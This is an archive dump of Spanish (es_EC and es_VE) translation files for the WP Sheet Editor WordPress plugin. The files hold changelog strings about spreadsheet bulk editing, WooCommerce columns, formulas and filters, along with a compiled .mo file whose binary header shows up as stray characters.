whats-new/1.2.0.php:4 msgid "" "

New feature: Now you can add custom columns to the spreadsheet easily. " "This way you can edit custom fields or fields added by plugins. View quick tutorial (2 " "minutes)

" msgstr "" "

Nueva Característica: Ahora puedes añadir columnas personalizadas a la " "hoja fácilmente. Así puedes editar campos personalizados o añadidos por " "otros plugins. Ver tutorial rápido (2 minutos)

" #: whats-new/1.2.0.php:5 msgid "" "

New feature: Added WordPress Multisite compatibility. Now you add the " "license once and the license works with the entire network. Each site has " "different settings.

" msgstr "" "

Nueva Característica: Se ha añadido compatibilidad con Multisitios de " "WordPress. Ahora puedes añadir la licencia una vez y la licencia funcionará " "con la red completa. Cada sitio tiene diferentes opciones.

" #: whats-new/1.2.0.php:6 msgid "" "

New feature: Added WPBakery Page Builder compatibility. Now you can edit " "the post content using the Live editor, Backend editor, or Normal editor. " msgstr "" "

Nueva característica: Se ha añadido compatibilidad con WPBakery Page " "Builder. Ahora puedes editar el contenido del post usando el editor Live, el " "editor Backend o el editor Normal.

" #: whats-new/1.2.0.php:7 msgid "" "

New feature: Added Advanced Custom Fields compatibility. Now you can edit " "in the spreadsheet the fields from your custom metaboxes. At the moment it " "works with basic fields: text, textarea, tinymce, image.

" msgstr "" "

Nueva característica: Se ha añadido la compatibilidad con los Campos " "Personalizados Avanzados. Ahora puedes editar en la hoja de cálculo los " "campos de tus metaboxes personalizadas. Actualmente trabaja con campos " "básicos: texto, área de texto, tinymce, imagen.

" #: whats-new/1.3.0.php:4 msgid "" "

New feature: WooCommerce - Added columns: \"allow backorders\", \"is " "featured\", \"manage stock\", \"stock quantity\".

" msgstr "" "

Nueva característica: WooCommerce - Se añadieron columnas: \"permitir " "pedidos pendientes\", \"es destacado\", \"gestionar existencias\", " "\"cantidad de existencias\".

" #: whats-new/1.3.0.php:5 msgid "" "

New feature: Filters - Now you can search / display posts that contain a " "specific keyword in the title or content. For example, display on the " "spreadsheet the posts that mention the keyword: \"Awesome\".

" msgstr "" "

Nueva característica: Filtros - Ahora puedes buscar / mostrar los posts " "que contengan una palabra clave específica en el título o contenido. Por " "ejemplo, muestra en la hoja de cálculo los posts que mencionan la palabra " "clave: \"Increíble\".

" #: whats-new/1.3.0.php:6 msgid "" "

New feature: Columns visibility - Now you can sort the columns on the " "settings page per post type.

" msgstr "" "

Nueva característica: Visibilidad de las columnas - Ahora puedes ordenar " "las columnas en la página de configuración por tipo de post.

" #: whats-new/1.4.0.php:4 msgid "" "

New feature: WooCommerce - Added support for \"variable\" products and " "all their fields.

" msgstr "" "

Nueva característica: WooCommerce - Se ha añadido soporte para productos " "\"variables\" y todos sus campos.

" #: whats-new/1.4.0.php:5 msgid "" "

New feature: WooCommerce - Added support for \"downloadable\" products " "and all their fields.

" msgstr "" "" #: whats-new/1.4.0.php:6 msgid "" "

New feature: WooCommerce - Added \"Edit Attributes\" column for editing/" "creating custom and global attributes.

" msgstr "" "

Nueva característica: WooCommerce - Se ha añadido la columna \"Editar " "Atributos\" para editar/crear atributos globales y personalizados.

" #: whats-new/1.4.0.php:7 msgid "

New feature: WooCommerce - Added \"shipping_class\" column.

" msgstr "" "

Nueva característica: WooCommerce - Se ha añadido la columna " "\"shipping_class\".

" #: whats-new/1.4.0.php:8 msgid "

New feature: Formulas - Allow wildcards in REPLACE formula.

" msgstr "" "

Nueva característica: Fórmulas - Permitir comodines en la fórmula " "REEMPLAZAR.

" #: whats-new/1.4.0.php:9 msgid "" "

New feature: Formulas - You can search and replace, or save images using " "URLs.

" msgstr "" "

Nueva característica: Fórmulas - Puedes buscar y reemplazar, o guardar " "imágenes usando URLs.

" #: whats-new/1.4.0.php:10 msgid "" "

New feature: Formulas - Added formulas builder to create formulas easily." "

" msgstr "" "

Nueva característica: Fórmulas - Se ha añadido un constructor de fórmulas " "para crear fórmulas fácilmente.

" #: whats-new/1.4.0.php:11 msgid "" "

New feature: Columns visibility - Added option to sort and hide columns " "live in the spreadsheet.

" msgstr "" "

Nueva característica: Visibilidad de las columnas - Se ha añadido la " "opción de ordenar y ocultar las columnas activas en la hoja de cálculo.

" #: whats-new/2.0.0.php:4 msgid "" "

NEW - WooCommerce - Allow to clone variations from one product to other " "products

" msgstr "" "

NUEVO - WooCommerce - Permite clonar variaciones de un producto a otros " "productos

" #: whats-new/2.0.0.php:5 msgid "" "

NEW - WooCommerce - Create variation - Allow to create variations for " "multiple products at once.

" msgstr "" "

NUEVO - WooCommerce - Crear variación - Permite crear variaciones para " "múltiples productos a la vez.

" #: whats-new/2.0.0.php:6 msgid "" "

NEW - WooCommerce - allow to copy downloadable files from other product " "in popup

" msgstr "" "

NUEVO - WooCommerce - Permite copiar archivos descargables de otro " "producto en un popup

" #: whats-new/2.0.0.php:7 msgid "" "

NEW - FORMULAS - Allow to execute formula only on WooCommerce variations." "

" msgstr "" "

NUEVO - FORMULAS - Permite ejecutar la fórmula sólo en las variaciones de " "WooCommerce.

" #: whats-new/2.0.0.php:8 msgid "" "

NEW - CUSTOM COLUMNS - Added settings page button in the toolbar for " "quick access.

" msgstr "" "

NUEVO - COLUMNAS A MEDIDA - Botón de la página de configuración añadida " "en la barra de herramientas para un acceso rápido.

" #: whats-new/2.0.0.php:9 msgid "" "

NEW - FORMULAS - Added option for executing custom formula on any field " "type.

" msgstr "" "

NEW - FORMULAS - Se ha añadido la opción de ejecutar una fórmula " "personalizada en cualquier tipo de campo.

" #: whats-new/2.0.0.php:10 msgid "" "

NEW - PRO - Added set up wizard for post types that allows you to set up " "a post type and custom columns quickly.

" msgstr "" "

NUEVO - PRO - Se ha añadido un asistente de configuración para los tipos " "de post que te permite configurar rápidamente un tipo de post y columnas " "personalizadas.

" #: whats-new/2.0.0.php:11 msgid "" "

NEW - FORMULAS - improved the speed of simple formulas allowing to update " "thousands of posts in just a few seconds. Huge speed improvement.

" msgstr "" "

NUEVO - FÓRMULAS - Se mejoró la velocidad de las fórmulas simples " "permitiendo actualizar miles de posts en sólo unos segundos. Enorme mejora " "de la velocidad.

" #: whats-new/2.0.0.php:12 msgid "" "

NEW - PRO - Added option to create new spreadsheets for new post types." msgstr "" "

NUEVO - PRO - Añadida opción para crear nuevas hojas de cálculo para " "nuevos tipos de post.

" #: whats-new/2.0.0.php:13 msgid "" "

NEW - FILTERS - Added advanced meta filters with operators like =, !=, <, " ">, LIKE, etc.

" msgstr "" "

NUEVO - FILTROS - Añadidos meta filtros avanzados con operadores como =, !" "=, <, >, LIKE, etc.

" #: whats-new/2.0.0.php:14 msgid "

FIX - WooCommerce - Variation titles appear empty.

" msgstr "" "

FIX - WooCommerce - Los títulos de las variaciones aparecen vacíos.

" #: whats-new/2.0.0.php:15 msgid "

FIX - FORMULAS - Sometimes it doesn´t update the last posts.

" msgstr "" "

FIX - FÓRMULAS - En ocasiones no se actualizan los últimos posts.

" #: whats-new/2.0.0.php:16 msgid "" "

FIX - FORMULAS - Sometimes when searching post terms while preparing " "formula, it doesn´t find any.

" msgstr "" "

FIX - FÓRMULAS - A veces, cuando se buscan términos de post mientras se " "prepara la fórmula, no se encuentra ninguno.

" #: whats-new/2.0.0.php:17 msgid "" "

FIX - CUSTOM POST TYPES - It doesn´t allow post types created after the " "settings page is registered, ignoring post types added by \"types\" plugin." msgstr "" "

FIX - CUSTOM POST TYPES - No permite tipos de post creados después de " "registrar la página de configuración, ignorando los tipos de post añadidos " "por el plugin \"Types\".

" #: whats-new/2.0.0.php:18 msgid "

FIX - FORMULAS - It doesn´t accept decimal numbers.

" msgstr "

FIX - FORMULAS - It doesn´t accept decimal numbers.

" #: whats-new/2.0.0.php:19 msgid "" "

FIX - CUSTOM COLUMNS - It doesn´t allow to remove the first column.

" msgstr "" "

FIX - COLUMNAS PERSONALIZADAS - No permite eliminar la primera columna." #: whats-new/2.0.0.php:20 msgid "" "

FIX - WooCommerce - When editing attributes it marks \"visible\" and \"is " "taxonomy\" as true ignoring the set value.

" msgstr "" "

FIX - WooCommerce - Cuando editas atributos, marca \"visible\" y \"es " "taxonomía\" como verdadero, ignorando el valor establecido.

" #: whats-new/2.0.0.php:21 msgid "" "

FIX - FORMULAS - it doesn´t allow to replace something with nothing " "(remove a value).

" msgstr "" "

FIX - FORMULAS - No permite reemplazar algo por nada (quitar un valor)." #: whats-new/2.0.0.php:22 msgid "" "

FIX - FORMULAS - File columns dont save files when using url with query " "strings

" msgstr "" "

FIX - FÓRMULAS - Las columnas de archivos no guardan archivos cuando se " "utiliza la url con cadenas de consulta

" #: whats-new/2.0.0.php:23 msgid "" "

FIX - WooCommerce - download files popup doesn´t show previously edited " "values

" msgstr "" "

FIX - WooCommerce - La ventana emergente de descarga de archivos no " "muestra los valores previamente editados

" #: whats-new/2.0.0.php:24 msgid "

FIX - COLUMNS VISIBILITY - Drag and drop is not working on popup

" msgstr "" "

FIX - VISIBILIDAD DE LAS COLUMNAS - Arrastrar y soltar no funciona en " "popup

" #: whats-new/2.0.0.php:25 msgid "" "

FIX - FORMULAS - Wrong formula generated for \"decrease by %\" option.

" msgstr "" "

FIX - FÓRMULAS - Fórmula incorrecta generada para la opción \"Disminuir " "en %\"" #: whats-new/2.1.0.php:4 msgid "" "

NEW - WOOCOMMERCE - Now we calculate the total inventory units and total " "inventory price of all the products in the spreadsheet and display it in the " "status bar.

" msgstr "" "

NUEVO - WOOCOMMERCE - Ahora calculamos el total de unidades de inventario " "y el precio total de inventario de todos los productos en la hoja de cálculo " "y lo mostramos en la barra de estado.

" #: wp-sheet-editor.php:69 msgid "" "Please update the WP Sheet Editor plugin and all its extensions to the " "latest version. The features of the plugin \"" msgstr "" "Por favor, actualiza el plugin WP Sheet Editor y todas sus extensiones a la " "última versión, el plugin principal debe ser la versión 2.5.2 o superior. El " "plugin \"" #: wp-sheet-editor.php:142 msgid "My license" msgstr "Mi licencia" #: wp-sheet-editor.php:206 msgid "Disable extension offerings?" msgstr "¿Desactivar ofertas de extensiones?" lang/vg_sheet_editor_posts-es_EC.po000064400000032041147600365160013413 0ustar00# Copyright (C) 2019 WP Sheet Editor # This file is distributed under the same license as the WP Sheet Editor plugin. msgid "" msgstr "" "Project-Id-Version: WP Sheet Editor 2.14.0\n" "Report-Msgid-Bugs-To: https://wordpress.org/support/plugin/posts-pages-" "products-sheet\n" "POT-Creation-Date: 2020-03-21T23:42:58+00:00\n" "PO-Revision-Date: 2020-12-30 10:36-0600\n" "Last-Translator: \n" "Language-Team: \n" "Language: es_EC\n" "MIME-Version: 1.0\n" "Content-Type: text/plain; charset=UTF-8\n" "Content-Transfer-Encoding: 8bit\n" "X-Generator: Poedit 2.4.2\n" "Plural-Forms: nplurals=2; plural=(n != 1);\n" #. Plugin Name of the plugin #. Author of the plugin msgid "WP Sheet Editor" msgstr "WP Sheet Editor" #. Plugin URI of the plugin msgid "" "https://wpsheeteditor.com/extensions/posts-pages-post-types-spreadsheet/?" "utm_source=wp-admin&utm_medium=plugins-list&utm_campaign=posts" msgstr "" "https://wpsheeteditor.com/extensions/posts-pages-post-types-spreadsheet/?" "utm_source=wp-admin&utm_medium=plugins-list&utm_campaign=posts" #. Description of the plugin msgid "" "Bulk edit posts and pages easily using a beautiful spreadsheet inside " "WordPress." msgstr "" "Edita entradas y páginas fácilmente usando una hermosa hoja de cálculo en WP." #. Author URI of the plugin msgid "" "https://wpsheeteditor.com/?utm_source=wp-admin&utm_medium=plugins-" "list&utm_campaign=posts" msgstr "" "https://wpsheeteditor.com/?utm_source=wp-admin&utm_medium=plugins-" "list&utm_campaign=posts" #: whats-new/1.2.0.php:4 msgid "" "

New feature: Now you can add custom columns to the spreadsheet easily. " "This way you can edit custom fields or fields added by plugins. View quick tutorial (2 " "minutes)

" msgstr "" "

Nueva Característica: Ahora puedes añadir columnas personalizadas a la " "hoja fácilmente. Así puedes editar campos personalizados o añadidos por " "otros plugins. Ver tutorial rápido (2 minutos)

" #: whats-new/1.2.0.php:5 msgid "" "

New feature: Added WordPress Multisite compatibility. Now you add the " "license once and the license works with the entire network. Each site has " "different settings.

" msgstr "" "

Nueva Característica: Se ha añadido compatibilidad con Multisitios de " "WordPress. Ahora puedes añadir la licencia una vez y la licencia funcionará " "con la red completa. Cada sitio tiene diferentes opciones.

" #: whats-new/1.2.0.php:6 msgid "" "

New feature: Added WPBakery Page Builder compatibility. Now you can edit " "the post content using the Live editor, Backend editor, or Normal editor. " msgstr "" "

Nueva característica: Se ha añadido compatibilidad con WPBakery Page " "Builder. Ahora puedes editar el contenido del post usando el editor Live, el " "editor Backend o el editor Normal.

" #: whats-new/1.2.0.php:7 msgid "" "

New feature: Added Advanced Custom Fields compatibility. Now you can edit " "in the spreadsheet the fields from your custom metaboxes. At the moment it " "works with basic fields: text, textarea, tinymce, image.

" msgstr "" "

Nueva característica: Se ha añadido la compatibilidad con los Campos " "Personalizados Avanzados. Ahora puedes editar en la hoja de cálculo los " "campos de tus metaboxes personalizadas. Actualmente trabaja con campos " "básicos: texto, área de texto, tinymce, imagen.

" #: whats-new/1.3.0.php:4 msgid "" "

New feature: WooCommerce - Added columns: \"allow backorders\", \"is " "featured\", \"manage stock\", \"stock quantity\".

" msgstr "" "

Nueva característica: WooCommerce - Se añadieron columnas: \"permitir " "pedidos pendientes\", \"es destacado\", \"gestionar existencias\", " "\"cantidad de existencias\".

" #: whats-new/1.3.0.php:5 msgid "" "

New feature: Filters - Now you can search / display posts that contain a " "specific keyword in the title or content. For example, display on the " "spreadsheet the posts that mention the keyword: \"Awesome\".

" msgstr "" "

Nueva característica: Filtros - Ahora puedes buscar / mostrar los posts " "que contengan una palabra clave específica en el título o contenido. Por " "ejemplo, muestra en la hoja de cálculo los posts que mencionan la palabra " "clave: \"Increíble\".

" #: whats-new/1.3.0.php:6 msgid "" "

New feature: Columns visibility - Now you can sort the columns on the " "settings page per post type.

" msgstr "" "

Nueva característica: Visibilidad de las columnas - Ahora puedes ordenar " "las columnas en la página de configuración por tipo de post.

" #: whats-new/1.4.0.php:4 msgid "" "

New feature: WooCommerce - Added support for \"variable\" products and " "all their fields.

" msgstr "" "

Nueva característica: WooCommerce - Se ha añadido soporte para productos " "\"variables\" y todos sus campos.

" #: whats-new/1.4.0.php:5 msgid "" "

New feature: WooCommerce - Added support for \"downloadable\" products " "and all their fields.

" msgstr "" "" #: whats-new/1.4.0.php:6 msgid "" "

New feature: WooCommerce - Added \"Edit Attributes\" column for editing/" "creating custom and global attributes.

" msgstr "" "

Nueva característica: WooCommerce - Se ha añadido la columna \"Editar " "Atributos\" para editar/crear atributos globales y personalizados.

" #: whats-new/1.4.0.php:7 msgid "

New feature: WooCommerce - Added \"shipping_class\" column.

" msgstr "" "

Nueva característica: WooCommerce - Se ha añadido la columna " "\"shipping_class\".

" #: whats-new/1.4.0.php:8 msgid "

New feature: Formulas - Allow wildcards in REPLACE formula.

" msgstr "" "

Nueva característica: Fórmulas - Permitir comodines en la fórmula " "REEMPLAZAR.

" #: whats-new/1.4.0.php:9 msgid "" "

New feature: Formulas - You can search and replace, or save images using " "URLs.

" msgstr "" "

Nueva característica: Fórmulas - Puedes buscar y reemplazar, o guardar " "imágenes usando URLs.

" #: whats-new/1.4.0.php:10 msgid "" "

New feature: Formulas - Added formulas builder to create formulas easily." "

" msgstr "" "

Nueva característica: Fórmulas - Se ha añadido un constructor de fórmulas " "para crear fórmulas fácilmente.

" #: whats-new/1.4.0.php:11 msgid "" "

New feature: Columns visibility - Added option to sort and hide columns " "live in the spreadsheet.

" msgstr "" "

Nueva característica: Visibilidad de las columnas - Se ha añadido la " "opción de ordenar y ocultar las columnas activas en la hoja de cálculo.

" #: whats-new/2.0.0.php:4 msgid "" "

NEW - WooCommerce - Allow to clone variations from one product to other " "products

" msgstr "" "

NUEVO - WooCommerce - Permite clonar variaciones de un producto a otros " "productos

" #: whats-new/2.0.0.php:5 msgid "" "

NEW - WooCommerce - Create variation - Allow to create variations for " "multiple products at once.

" msgstr "" "

NUEVO - WooCommerce - Crear variación - Permite crear variaciones para " "múltiples productos a la vez.

" #: whats-new/2.0.0.php:6 msgid "" "

NEW - WooCommerce - allow to copy downloadable files from other product " "in popup

" msgstr "" "

NUEVO - WooCommerce - Permite copiar archivos descargables de otro " "producto en un popup

" #: whats-new/2.0.0.php:7 msgid "" "

NEW - FORMULAS - Allow to execute formula only on WooCommerce variations." "

" msgstr "" "

NUEVO - FORMULAS - Permite ejecutar la fórmula sólo en las variaciones de " "WooCommerce.

" #: whats-new/2.0.0.php:8 msgid "" "

NEW - CUSTOM COLUMNS - Added settings page button in the toolbar for " "quick access.

" msgstr "" "

NUEVO - COLUMNAS A MEDIDA - Botón de la página de configuración añadida " "en la barra de herramientas para un acceso rápido.

" #: whats-new/2.0.0.php:9 msgid "" "

NEW - FORMULAS - Added option for executing custom formula on any field " "type.

" msgstr "" "

NEW - FORMULAS - Se ha añadido la opción de ejecutar una fórmula " "personalizada en cualquier tipo de campo.

" #: whats-new/2.0.0.php:10 msgid "" "

NEW - PRO - Added set up wizard for post types that allows you to set up " "a post type and custom columns quickly.

" msgstr "" "

NUEVO - PRO - Se ha añadido un asistente de configuración para los tipos " "de post que te permite configurar rápidamente un tipo de post y columnas " "personalizadas.

" #: whats-new/2.0.0.php:11 msgid "" "

NEW - FORMULAS - improved the speed of simple formulas allowing to update " "thousands of posts in just a few seconds. Huge speed improvement.

" msgstr "" "

NUEVO - FÓRMULAS - Se mejoró la velocidad de las fórmulas simples " "permitiendo actualizar miles de posts en sólo unos segundos. Enorme mejora " "de la velocidad.

" #: whats-new/2.0.0.php:12 msgid "" "

NEW - PRO - Added option to create new spreadsheets for new post types." msgstr "" "

NUEVO - PRO - Añadida opción para crear nuevas hojas de cálculo para " "nuevos tipos de post.

" #: whats-new/2.0.0.php:13 msgid "" "

NEW - FILTERS - Added advanced meta filters with operators like =, !=, <, " ">, LIKE, etc.

" msgstr "" "

NUEVO - FILTROS - Añadidos meta filtros avanzados con operadores como =, !" "=, <, >, LIKE, etc.

" #: whats-new/2.0.0.php:14 msgid "

FIX - WooCommerce - Variation titles appear empty.

" msgstr "" "

FIX - WooCommerce - Los títulos de las variaciones aparecen vacíos.

" #: whats-new/2.0.0.php:15 msgid "

FIX - FORMULAS - Sometimes it doesn´t update the last posts.

" msgstr "" "

FIX - FÓRMULAS - En ocasiones no se actualizan los últimos posts.

" #: whats-new/2.0.0.php:16 msgid "" "

FIX - FORMULAS - Sometimes when searching post terms while preparing " "formula, it doesn´t find any.

" msgstr "" "

FIX - FÓRMULAS - A veces, cuando se buscan términos de post mientras se " "prepara la fórmula, no se encuentra ninguno.

" #: whats-new/2.0.0.php:17 msgid "" "

FIX - CUSTOM POST TYPES - It doesn´t allow post types created after the " "settings page is registered, ignoring post types added by \"types\" plugin." msgstr "" "

FIX - CUSTOM POST TYPES - No permite tipos de post creados después de " "registrar la página de configuración, ignorando los tipos de post añadidos " "por el plugin \"Types\".

" #: whats-new/2.0.0.php:18 msgid "

FIX - FORMULAS - It doesn´t accept decimal numbers.

" msgstr "

FIX - FORMULAS - It doesn´t accept decimal numbers.

" #: whats-new/2.0.0.php:19 msgid "" "

FIX - CUSTOM COLUMNS - It doesn´t allow to remove the first column.

" msgstr "" "

FIX - COLUMNAS PERSONALIZADAS - No permite eliminar la primera columna." #: whats-new/2.0.0.php:20 msgid "" "

FIX - WooCommerce - When editing attributes it marks \"visible\" and \"is " "taxonomy\" as true ignoring the set value.

" msgstr "" "

FIX - WooCommerce - Cuando editas atributos, marca \"visible\" y \"es " "taxonomía\" como verdadero, ignorando el valor establecido.

" #: whats-new/2.0.0.php:21 msgid "" "

FIX - FORMULAS - it doesn´t allow to replace something with nothing " "(remove a value).

" msgstr "" "

FIX - FORMULAS - No permite reemplazar algo por nada (quitar un valor)." #: whats-new/2.0.0.php:22 msgid "" "

FIX - FORMULAS - File columns dont save files when using url with query " "strings

" msgstr "" "

FIX - FÓRMULAS - Las columnas de archivos no guardan archivos cuando se " "utiliza la url con cadenas de consulta

" #: whats-new/2.0.0.php:23 msgid "" "

FIX - WooCommerce - download files popup doesn´t show previously edited " "values

" msgstr "" "

FIX - WooCommerce - La ventana emergente de descarga de archivos no " "muestra los valores previamente editados

" #: whats-new/2.0.0.php:24 msgid "

FIX - COLUMNS VISIBILITY - Drag and drop is not working on popup

" msgstr "" "

FIX - VISIBILIDAD DE LAS COLUMNAS - Arrastrar y soltar no funciona en " "popup

" #: whats-new/2.0.0.php:25 msgid "" "

FIX - FORMULAS - Wrong formula generated for \"decrease by %\" option.

" msgstr "" "

FIX - FÓRMULAS - Fórmula incorrecta generada para la opción \"Disminuir " "en %\"" #: whats-new/2.1.0.php:4 msgid "" "

NEW - WOOCOMMERCE - Now we calculate the total inventory units and total " "inventory price of all the products in the spreadsheet and display it in the " "status bar.

" msgstr "" "

NUEVO - WOOCOMMERCE - Ahora calculamos el total de unidades de inventario " "y el precio total de inventario de todos los productos en la hoja de cálculo " "y lo mostramos en la barra de estado.

" #: wp-sheet-editor.php:69 msgid "" "Please update the WP Sheet Editor plugin and all its extensions to the " "latest version. The features of the plugin \"" msgstr "" "Por favor, actualiza el plugin WP Sheet Editor y todas sus extensiones a la " "última versión, el plugin principal debe ser la versión 2.5.2 o superior. El " "plugin \"" #: wp-sheet-editor.php:142 msgid "My license" msgstr "Mi licencia" #: wp-sheet-editor.php:206 msgid "Disable extension offerings?" msgstr "¿Desactivar ofertas de extensiones?" lang/vg_sheet_editor_posts-es_VE.mo000064400000026437147600365160013447 0ustar00.=GK9V;vDjKb]9 wFVY^oTP# t N wV Ww g W7 e gi~PPBU:s#@uaN]P_ |sY ezRhN v;4Jp~R:NL)s#et_dYd m ^,!!"Z#2$$Z%vV&W&f%''(W")z)r!*q*P+$W+ |++-,Y=,,' " &+-%(,! .  #*$ )

FIX - COLUMNS VISIBILITY - Drag and drop is not working on popup

FIX - CUSTOM COLUMNS - It doesn´t allow to remove the first column.

FIX - CUSTOM POST TYPES - It doesn´t allow post types created after the settings page is registered, ignoring post types added by "types" plugin.

FIX - FORMULAS - File columns dont save files when using url with query strings

FIX - FORMULAS - It doesn´t accept decimal numbers.

FIX - FORMULAS - Sometimes it doesn´t update the last posts.

FIX - FORMULAS - Sometimes when searching post terms while preparing formula, it doesn´t find any.

FIX - FORMULAS - Wrong formula generated for "decrease by %" option.

FIX - FORMULAS - it doesn´t allow to replace something with nothing (remove a value).

FIX - WooCommerce - Variation titles appear empty.

FIX - WooCommerce - When editing attributes it marks "visible" and "is taxonomy" as true ignoring the set value.

FIX - WooCommerce - download files popup doesn´t show previously edited values

NEW - CUSTOM COLUMNS - Added settings page button in the toolbar for quick access.

NEW - FILTERS - Added advanced meta filters with operators like =, !=, <, >, LIKE, etc.

NEW - FORMULAS - Added option for executing custom formula on any field type.

NEW - FORMULAS - Allow to execute formula only on WooCommerce variations.

NEW - FORMULAS - improved the speed of simple formulas allowing to update thousands of posts in just a few seconds. Huge speed improvement.

NEW - PRO - Added option to create new spreadsheets for new post types.

NEW - PRO - Added set up wizard for post types that allows you to set up a post type and custom columns quickly.

NEW - WOOCOMMERCE - Now we calculate the total inventory units and total inventory price of all the products in the spreadsheet and display it in the status bar.

NEW - WooCommerce - Allow to clone variations from one product to other products

NEW - WooCommerce - Create variation - Allow to create variations for multiple products at once.

NEW - WooCommerce - allow to copy downloadable files from other product in popup

New feature: Added Advanced Custom Fields compatibility. Now you can edit in the spreadsheet the fields from your custom metaboxes. At the moment it works with basic fields: text, textarea, tinymce, image.

New feature: Added WPBakery Page Builder compatibility. Now you can edit the post content using the Live editor, Backend editor, or Normal editor.

New feature: Added WordPress Multisite compatibility. Now you add the license once and the license works with the entire network. Each site has different settings.

New feature: Columns visibility - Added option to sort and hide columns live in the spreadsheet.

New feature: Columns visibility - Now you can sort the columns on the settings page per post type.

New feature: Filters - Now you can search / display posts that contain a specific keyword in the title or content. For example, display on the spreadsheet the posts that mention the keyword: "Awesome".

New feature: Formulas - Added formulas builder to create formulas easily.

New feature: Formulas - Allow wildcards in REPLACE formula.

New feature: Formulas - You can search and replace, or save images using URLs.

New feature: Now you can add custom columns to the spreadsheet easily. This way you can edit custom fields or fields added by plugins. View quick tutorial (2 minutes)

New feature: WooCommerce - Added "Edit Attributes" column for editing/creating custom and global attributes.

New feature: WooCommerce - Added "shipping_class" column.

New feature: WooCommerce - Added columns: "allow backorders", "is featured", "manage stock", "stock quantity".

New feature: WooCommerce - Added support for "downloadable" products and all their fields.

New feature: WooCommerce - Added support for "variable" products and all their fields.

Bulk edit posts and pages easily using a beautiful spreadsheet inside WordPress.Disable extension offerings?My licensePlease update the WP Sheet Editor plugin and all its extensions to the latest version. The features of the plugin "WP Sheet Editorhttps://wpsheeteditor.com/?utm_source=wp-admin&utm_medium=plugins-list&utm_campaign=postshttps://wpsheeteditor.com/extensions/posts-pages-post-types-spreadsheet/?utm_source=wp-admin&utm_medium=plugins-list&utm_campaign=postsProject-Id-Version: WP Sheet Editor 2.14.0 Report-Msgid-Bugs-To: https://wordpress.org/support/plugin/posts-pages-products-sheet PO-Revision-Date: 2020-12-30 10:36-0600 Last-Translator: Language-Team: Language: es_VE MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit X-Generator: Poedit 2.4.2 Plural-Forms: nplurals=2; plural=(n != 1);

FIX - VISIBILIDAD DE LAS COLUMNAS - Arrastrar y soltar no funciona en popup

FIX - COLUMNAS PERSONALIZADAS - No permite eliminar la primera columna.

FIX - CUSTOM POST TYPES - No permite tipos de post creados después de registrar la página de configuración, ignorando los tipos de post añadidos por el plugin "Types".

FIX - FÓRMULAS - Las columnas de archivos no guardan archivos cuando se utiliza la url con cadenas de consulta

FIX - FORMULAS - It doesn´t accept decimal numbers.

FIX - FÓRMULAS - En ocasiones no se actualizan los últimos posts.

FIX - FÓRMULAS - A veces, cuando se buscan términos de post mientras se prepara la fórmula, no se encuentra ninguno.

FIX - FÓRMULAS - Fórmula incorrecta generada para la opción "Disminuir en %"

FIX - FORMULAS - No permite reemplazar algo por nada (quitar un valor).

FIX - WooCommerce - Los títulos de las variaciones aparecen vacíos.

FIX - WooCommerce - Cuando editas atributos, marca "visible" y "es taxonomía" como verdadero, ignorando el valor establecido.

FIX - WooCommerce - La ventana emergente de descarga de archivos no muestra los valores previamente editados

NUEVO - COLUMNAS A MEDIDA - Botón de la página de configuración añadida en la barra de herramientas para un acceso rápido.

NUEVO - FILTROS - Añadidos meta filtros avanzados con operadores como =, !=, <, >, LIKE, etc.

NEW - FORMULAS - Se ha añadido la opción de ejecutar una fórmula personalizada en cualquier tipo de campo.

NUEVO - FORMULAS - Permite ejecutar la fórmula sólo en las variaciones de WooCommerce.

NUEVO - FÓRMULAS - Se mejoró la velocidad de las fórmulas simples permitiendo actualizar miles de posts en sólo unos segundos. Enorme mejora de la velocidad.

NUEVO - PRO - Añadida opción para crear nuevas hojas de cálculo para nuevos tipos de post.

NUEVO - PRO - Se ha añadido un asistente de configuración para los tipos de post que te permite configurar rápidamente un tipo de post y columnas personalizadas.

NUEVO - WOOCOMMERCE - Ahora calculamos el total de unidades de inventario y el precio total de inventario de todos los productos en la hoja de cálculo y lo mostramos en la barra de estado.

NUEVO - WooCommerce - Permite clonar variaciones de un producto a otros productos

NUEVO - WooCommerce - Crear variación - Permite crear variaciones para múltiples productos a la vez.

NUEVO - WooCommerce - Permite copiar archivos descargables de otro producto en un popup

Nueva característica: Se ha añadido la compatibilidad con los Campos Personalizados Avanzados. Ahora puedes editar en la hoja de cálculo los campos de tus metaboxes personalizadas. Actualmente trabaja con campos básicos: texto, área de texto, tinymce, imagen.

Nueva característica: Se ha añadido compatibilidad con WPBakery Page Builder. Ahora puedes editar el contenido del post usando el editor Live, el editor Backend o el editor Normal.

Nueva Característica: Se ha añadido compatibilidad con Multisitios de WordPress. Ahora puedes añadir la licencia una vez y la licencia funcionará con la red completa. Cada sitio tiene diferentes opciones.

Nueva característica: Visibilidad de las columnas - Se ha añadido la opción de ordenar y ocultar las columnas activas en la hoja de cálculo.

Nueva característica: Visibilidad de las columnas - Ahora puedes ordenar las columnas en la página de configuración por tipo de post.

Nueva característica: Filtros - Ahora puedes buscar / mostrar los posts que contengan una palabra clave específica en el título o contenido. Por ejemplo, muestra en la hoja de cálculo los posts que mencionan la palabra clave: "Increíble".

Nueva característica: Fórmulas - Se ha añadido un constructor de fórmulas para crear fórmulas fácilmente.

Nueva característica: Fórmulas - Permitir comodines en la fórmula REEMPLAZAR.

Nueva característica: Fórmulas - Puedes buscar y reemplazar, o guardar imágenes usando URLs.

Nueva Característica: Ahora puedes añadir columnas personalizadas a la hoja fácilmente. Así puedes editar campos personalizados o añadidos por otros plugins. Ver tutorial rápido (2 minutos)

Nueva característica: WooCommerce - Se ha añadido la columna "Editar Atributos" para editar/crear atributos globales y personalizados.

Nueva característica: WooCommerce - Se ha añadido la columna "shipping_class".

Nueva característica: WooCommerce - Se añadieron columnas: "permitir pedidos pendientes", "es destacado", "gestionar existencias", "cantidad de existencias".

Nueva característica: WooCommerce - Se ha añadido soporte para productos "variables" y todos sus campos.

